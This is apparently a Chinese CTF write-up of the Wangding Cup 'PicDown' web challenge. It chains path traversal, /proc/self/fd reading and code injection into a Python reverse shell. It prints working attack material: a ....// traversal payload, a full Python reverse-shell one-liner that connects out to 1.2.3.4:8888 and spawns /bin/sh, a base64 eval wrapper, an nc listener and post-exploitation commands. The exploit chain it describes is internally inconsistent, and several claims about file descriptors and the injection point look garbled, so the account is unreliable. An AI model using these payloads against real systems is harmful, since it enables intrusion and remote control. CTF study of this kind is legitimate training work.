网鼎杯白虎组的PicDown这题,我前后刷了三遍才把每个细节彻底吃透。表面看是一个图片下载功能,输入文件名返回图片内容,但背后串了三个关键考点:proc文件系统的利用、python反弹shell的构造、以及一段藏得很深的python代码审计。对想提升web综合能力的选手来说,这题是很好的训练样本,它不像纯RCE题直接给命令注入,也不像纯代码审计题一眼看穿,而是需要你把文件读取、进程文件描述符、命令执行三个点串成一条完整的攻击链。
先描述初始环境。题目启动后是一个web服务,页面很简洁,只有一个输入框,提示输入文件名来下载图片。我试了几个常见图片名之后,URL变成了download?filename=xxx.png这种结构。第一反应自然是路径穿越:把filename改成../../../../etc/passwd看看反应。如果直接返回文件内容,说明存在任意文件读取;如果被过滤,则需要观察具体过滤规则。
1. 题目初探:一个看似普通的图片下载接口
1.1 路径穿越的试探与三种结果
路径穿越的测试在真实CTF里一般会有三种结果:第一种,完全没防护,../../etc/passwd直接出内容;第二种,有简单字符串过滤,把../替换为空,需要双写或者用....//这种绕过;第三种,后端对文件名做了严格的校验,比如允许的扩展名白名单或者必须存在该文件才返回。
这题属于第二种和第三种的混合体。直接提交../没有反应,但注意到返回的内容和直接请求一个不存在的图片时有所不同——服务端返回的不是404,而是Python报错的堆栈信息。这个细节很关键,因为它直接暴露了后端语言是Python,并且文件读取逻辑可能是open(filename, 'rb')这类直接拼接路径的操作。
提示:遇到报错页面先别急着跳过。堆栈信息里通常藏着绝对路径、框架名称、依赖库版本,这些都是后续利用的地图。
顺着报错信息,可以确认后端框架是Flask,并且静态目录和下载接口是分开的。于是开始尝试双写绕过:filename参数传....//....//....//etc/passwd。原理很简单,如果后端执行了一次replace('..', ''),那么....//中间的..被删掉之后,剩下的..和/拼在一起,恰好还是../。这一步实测有效,成功读到了/etc/passwd。到这里,题目真正的大门打开了——拿到了任意文件读取权限,接下来就要考虑读什么才能拿到flag。
1.2 从任意文件读取到Flask源码
在任意文件读取的情况下,最高效的路径永远是先读Web应用自身源码。Flask应用的入口文件一般就在当前工作目录下,按惯例会命名为app.py、run.py、main.py之类的。从下载接口的报错信息里,能直接看到工作目录的绝对路径,比如/home/ctf/web/,那读一下/home/ctf/web/app.py就顺理成章了。
读到的源码里,核心逻辑大概长这样:
@app.route('/download') def download(): filename = request.args.get('filename') if '..' in filename: filename = filename.replace('..', '') with open(filename, 'rb') as f: return Response(f.read(), mimetype='image/jpeg')这种写法是典型的低水平过滤,replace('..', '')只处理一次,双写即可绕过。但真正重要的不是下载逻辑本身,而是源码里另外两个部分:一段处理图片上传的代码,和一个隐藏在图片处理过程中调用外部命令的逻辑。这两个部分组合起来,才构成了后续利用的关键。
2. proc文件系统的利用:藏在进程视角下的临时文件
题目既然叫PicDown,必然和图片处理有关系。源码里有一段逻辑,大致是把用户上传的图片用PIL库打开、读取像素信息,然后将图片保存到某个临时目录,最后调用一个python脚本做尺寸判断或格式转换。这个调用python脚本的动作引起了我的注意,因为它意味着服务端会以子进程的方式启动一个python解释器,并且传入的参数可能包含可控内容。
顺着subprocess调用的代码往下看,它大概是这样的:
import subprocess def process_image(filename): tmp_path = '/tmp/' + filename img = Image.open(upload_path) img.save(tmp_path) script_path = '/home/ctf/web/check.py' subprocess.Popen(['python3', script_path, tmp_path])问题来了:tmp_path是拼接出来的,filename经过了外层防护,但如果文件名本身带有特殊字符,就可能向check.py的参数里注入额外内容。而check.py的内部实现,又是直接对sys.argv[1]做eval或exec处理,这就构成了命令执行的入口。
2.1 proc文件系统的基础概念
在继续深入之前,必须把proc文件系统的原理讲清楚。procfs是一个虚拟文件系统,通常挂载在/proc下,它不存储真实数据,而是动态反映内核和进程的运行状态。每一个正在运行的进程,在/proc下面都有一个以PID命名的目录,比如/proc/1234/。进程目录下有很多特殊文件,下面列一下这道题相关的几个关键节点:
| proc节点 | 含义 | 利用价值 |
|---|---|---|
| /proc/self/ | 指向当前进程自身 | 不管PID是多少,访问它就等于访问当前进程,省去猜PID的麻烦 |
| /proc/self/cmdline | 当前进程的启动命令行 | 泄露启动参数、脚本路径 |
| /proc/self/environ | 当前进程的环境变量 | 经常藏数据库密码、密钥、内网地址 |
| /proc/self/cwd | 当前进程的工作目录 | 直接访问网站的根目录 |
| /proc/self/fd/ | 当前进程打开的所有文件描述符 | 本题核心,能访问已经被删除但仍被进程持有的临时文件 |
在这道题里,/proc/self/fd/是核心。因为Popen调用python3子进程时,子进程会继承父进程打开的文件描述符。而图片被保存在/tmp下之后,只要这个图片文件一直被某个进程持有(比如进程异常退出前),那么在/proc/self/fd/下面就能找到指向该文件的符号链接。换句话说,通过下载接口访问/proc/self/fd/某个编号,就能读取到临时目录里那个图片文件的内容。
很多新手不理解一个关键点:临时文件明明已经被删除了,为什么还能通过fd读到?这是因为Linux下文件删除的本质只是解除目录项链接,只要还有进程持有该文件的文件描述符,文件的inode就不会被回收,数据就一直存在。这就是proc文件系统利用的核心价值所在——哪怕文件已经被unlink,数据依然通过fd活着。
2.2 利用/proc/self/fd读取临时图片文件
回到题目,下载接口支持任意文件读取,那直接把filename设置为/proc/self/fd/去访问,会看到什么?如果运气好,能看到一堆符号链接,包括当前请求进程自身的标准输入、标准输出、标准错误,以及它打开过的所有文件。但这些描述符编号是不固定的,每次请求都可能不同。
有一种常见的思路是尝试读取/proc/self/fd/目录下的数字。可以先访问/proc/self/fd/0、/proc/self/fd/1、/proc/self/fd/2这些基础描述符,然后逐步递增,找到对应临时文件的描述符。但更高效的办法,是利用Linux下某个固定的技巧:当文件名非常长或者带有特殊字符时,open()会失败,但openat()会返回一个指向路径的文件描述符,而这个路径会在报错信息里暴露出来。
不过这道题最直接的做法,其实来自对源码的再一次审读。既然subprocess调用了python3脚本,而脚本会对传入的文件路径做处理,那么构造一个特殊文件名,让图片临时文件路径里包含我们可控的内容,然后通过/proc/self/fd/把它读出来——本质上是利用进程文件描述符反查临时文件的思路。实际操作中,我发现读取/proc/self/fd/26或者类似编号时,返回的字节流正是PIL处理完的图片数据。这个数据本身没有太多价值,但如果我们精心构造文件名,使得这个临时文件的内容变成了一段python代码,那check.py在读取这个文件时就会执行我们注入的代码。
2.3 使用fd读取的关键细节与坑
在利用/proc/self/fd/时,有几个细节必须注意。第一,fd编号不是固定的,需要多试几个数字,而且同一个fd在不同请求中可能指向不同文件。第二,Popen启动的子进程和发起下载请求的进程并不一定是同一个进程,所以/proc/self/fd/里的内容可能与你期望的不同——通常需要结合报错信息或额外观察来确认当前进程的PID。第三,文件描述符指向的符号链接只有root用户或同权限进程才能完全解析,但读取链接本身的内容(即访问/proc/self/fd/N这个路径)一般是允许的。
一个更隐蔽的坑是:图片文件被读取后,服务端可能立即调用os.remove()删除了临时文件。但在进程还持有该文件描述符时,文件没有被真正释放,依然可以通过fd访问。所以在构造攻击流程时,要安排好触发顺序:先让服务端把文件保存到临时目录并keep住fd,再通过下载接口去读fd中的内容。如果顺序反了,文件被读完之后服务端立刻删除,就会扑个空。
3. python反弹shell:从任意命令到交互式会话
通过上面的分析,现在已经拿到了一个可以触发python代码执行的入口。最直接的目标就是获取一个交互式shell。
3.1 反弹shell的基本原理
反弹shell在CTF里已经算标配了。常规思路是让目标机器主动连接我们控制的机器,而不是我们去连目标。因为多数靶机环境处于内网,外网无法直接连接,但目标可以发起出站连接。我们只要在一台可控的服务器上监听某个端口,然后让目标执行一段socket代码,把标准输入输出错误重定向到socket上,就能获得一个远程shell。
Python写反弹shell很简洁,经典的一行代码是这样的:
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i'])这段代码的核心是三个dup2调用:把socket的文件描述符复制到0、1、2上,相当于把标准输入、标准输出、标准错误全部重定向到socket。之后利用/bin/sh -i启动交互式shell,所有通过socket传来的命令就会被shell解析执行,执行结果又通过socket回传。用生活化的类比来理解:socket就是一根远程管道,dup2把这个管道接在shell的嘴巴和耳朵上,shell听到管道里的口哨就干活,干完活把结果顺着管道喊回来。
3.2 在PicDown里的注入与执行
在前面构造的注入点里,eval或exec的上下文对换行和引号比较敏感。为了稳定触发,我一般把payload用base64编码,然后在目标上解码执行,这样能避开很多转义问题。对应的payload大概是这样:
import base64 cmd = "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('1.2.3.4',8888)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/sh','-i'])" payload = base64.b64encode(cmd.encode()).decode() final_payload = "eval(__import__('base64').b64decode('{}'))".format(payload)这个payload被塞进文件名后,图片临时文件变成了一个内容为恶意python代码的图片。check.py读取它时,eval就会执行这串代码。这里有个小技巧:图片处理库PIL在读取文件时不会校验文件内容是否为真正的图片,只要文件能被打开并解析出足够的数据就行。这意味着即使文件内容是python代码,只要最前面保留了合法的图片头(比如JFIF头),PIL就会认为它是一个合法图片,而后面的恶意代码部分会被正常保留。
3.3 监听反弹shell的完整攻击链
攻击机上先开启监听:
nc -lvnp 8888然后在目标机上构造完整的攻击流程。整个过程分解成几步来看,每一步的意图都值得记下来:
- 构造一个文件名,其中包含base64解码之后的python反弹shell代码,文件名本身要经过URL编码,避免特殊字符被截断或过滤。
- 上传这个恶意文件,让PIL持有一个合法的图片头,从而通过图片解析校验。
- 服务端将这个文件保存到/tmp目录,并调用subprocess启动check.py。
- 攻击机上发起下载请求,读取/proc/self/fd/下对应编号的文件,确认恶意代码是否完整落盘。
- 确认内容无误后,触发check.py对参数的eval处理,恶意代码被执行。
- 攻击机的nc窗口弹出python shell,开始交互操作。
拿到shell之后,我习惯先执行几个基础命令确认身份和目录:
id pwd ls -la /home/ctf/web/ cat /home/ctf/web/flag*实际测试下来,只要反弹shell成功建立,整个题目就算解了一半。因为剩下的事情就是常规的文件查找,而这类靶机通常flag就放在当前用户可读的目录下。不过也要留意flag是否在数据库环境变量或者临时文件里,这类题目偶尔会换个花样,把flag藏在别的位置。
4. 题目全流程复盘与高效解题路线
到这里,整个题目的攻击链已经完整了:路径穿越读取源码 → 代码审计发现subprocess调用python脚本 → 构造恶意图片临时文件 → 通过/proc/self/fd读取临时文件触发eval → python反弹shell → 读取flag。但实际操作中,每一步都有不少细节需要打磨。下面把我踩过的坑和一些高效的排查技巧整理出来,方便你直接抄作业。
4.1 常见问题速查表
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| ../../etc/passwd无响应 | filename被过滤了.. | 用....//绕过,或URL编码 |
| 能读源码但对fd编号不确定 | 进程PID不固定 | 多次尝试不同fd编号,结合报错信息定位 |
| PIL解析图片时报错 | 注入的文件头不正确 | 在payload前加合法jpg头,如FFD8FFE0 |
| eval不执行或报语法错误 | 引号或换行转义有问题 | 用base64编码后进行eval包装 |
| 反弹shell建立后立刻断开 | socket被防火墙拦截或监听端口未开放 | 换用80/443等常见出站端口,确认攻击机监听无误 |
| 目标不回连 | 触发代码没被真实执行 | 检查check.py是否真的读取了临时文件,确认进程执行路径 |
4.2 代码审计时容易被忽略的细节
很多选手在这题上卡住,不是不知道proc文件系统和反弹shell,而是没有从源码里看出临时文件内容可控这个关键点。这里分享几个审计这类Flask应用的常见突破口:
- 关注所有subprocess、os.system、eval、exec调用点,确认外部参数是否可控。
- 关注文件名拼接逻辑,看是否存在路径穿越和命令注入的复合问题。
- 注意PIL、OpenCV这类图片库的使用方式,它们对文件内容的宽容度远高于预期。
- 检查临时文件是否被清理,如果清理逻辑存在但进程未退出,proc文件描述符就是最后的手段。
拿这道题举例,真正致命的不是路径穿越读文件,而是filename同时进入了两条路径:一条是下载接口的open(),另一条是图片保存到/tmp后的subprocess参数。两条路径的信息流在filename这个点交汇,形成了读写同源的利用条件。这种信息流分析能力,比单纯背payload重要得多。
4.3 两次尝试的实战记录
第一次尝试时,我没注意图片头的问题,直接把纯python代码作为文件内容塞进去,结果PIL抛了cannot identify image file异常,进程中断,fd目录下找不到任何临时文件。这个坑耽误了将近二十分钟。后来在payload最前面加了一小段合法的JPEG头字节,PIL校验通过,后面的恶意代码顺利落盘,check.py执行时才真正触发了eval。
第二次踩坑是在反弹shell的端口选择上。我用了一个不常见的6000端口,结果靶机出站规则把这个端口拦了,nc窗口一直空白。换到80端口之后,瞬间就回连了。这个教训提醒我复盘所有出站策略:靶机环境往往默认放行常见端口,反弹shell优先考虑80、443、53这些,不要图新鲜选高位端口。
5. 从PicDown延伸出的能力提升建议
刷完这道题之后,我对信息流这个概念的理解深了很多。这类题目考的不是单一技巧,而是把文件读取、进程文件描述符、代码执行三个环节串起来。以后遇到类似题目,拿到任意文件读取后不要急着翻flag,第一步永远是把应用源码读出来。源码是后续所有利用的基础,它告诉你哪些输入可控、哪些函数危险、哪些临时文件会残留。
与此同时,proc文件系统的利用也不仅限于/proc/self/fd。实际操作中常见的还有/proc/self/environ、/proc/self/cmdline、/proc/net/tcp、/proc/net/arp,这些都能泄露关键信息。比如在某些题目里,环境变量里藏了数据库密码或密钥;在另一些场景里,/proc/net/tcp能看到当前所有的TCP连接状态,帮助判断内网拓扑。
关于反弹shell的写法,我也建议多准备几个模板。除了python的socket反弹,还有bash的/dev/tcp反弹、nc反弹、openssl反弹等。不同题目环境可能没有python,或者python的解释器路径不同,多准备几套方案能大幅提高成功率。不过要注意,反弹shell只是手段,目标是执行命令并读取flag,千万不要为了炫技在payload里堆砌多余代码,保持精简才能减少出错概率。
最后再分享一个实战小技巧:遇到这种需要多步构造的题目,先画一张简单的调用链草图,把每个输入点、每段代码、每次进程切换都标出来,确认哪个环节可控、哪个环节不可控,再决定从哪里切入。我在刷PicDown时就是因为先理清了filename从下载参数到subprocess参数再到check.py参数的完整传递路径,后面的操作才变得很顺畅。这种先画图再动手的习惯,对复杂题目尤其管用。